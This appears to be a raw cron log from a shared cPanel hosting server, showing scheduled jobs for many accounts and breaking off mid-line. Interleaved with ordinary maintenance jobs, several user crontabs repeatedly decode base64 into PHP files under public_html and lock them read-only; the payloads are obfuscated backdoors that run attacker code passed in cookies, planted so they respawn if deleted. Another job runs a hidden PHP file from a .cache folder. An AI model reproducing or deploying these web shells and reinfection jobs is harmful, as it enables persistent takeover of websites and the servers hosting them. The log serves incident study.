Mar  1 18:27:01 medusa CROND[684]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:27:01 medusa CROND[685]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 18:27:01 medusa CROND[687]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:27:01 medusa CROND[686]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:27:01 medusa CROND[689]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:27:01 medusa CROND[690]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:27:01 medusa CROND[694]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:28:02 medusa CROND[25997]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 18:28:02 medusa CROND[25998]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:28:02 medusa CROND[25999]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:28:02 medusa CROND[26000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:28:02 medusa CROND[26001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:28:02 medusa CROND[26002]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:28:02 medusa CROND[26003]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:28:02 medusa CROND[26005]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:28:02 medusa CROND[26006]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 18:28:02 medusa CROND[26009]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:28:02 medusa CROND[26010]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:28:02 medusa CROND[26011]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:28:02 medusa CROND[26012]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:28:02 medusa CROND[26013]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:29:02 medusa CROND[17968]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:29:02 medusa CROND[17969]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:29:02 medusa CROND[17970]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 18:29:02 medusa CROND[17971]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:29:02 medusa CROND[17972]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:29:02 medusa CROND[17979]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:29:02 medusa CROND[17980]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlc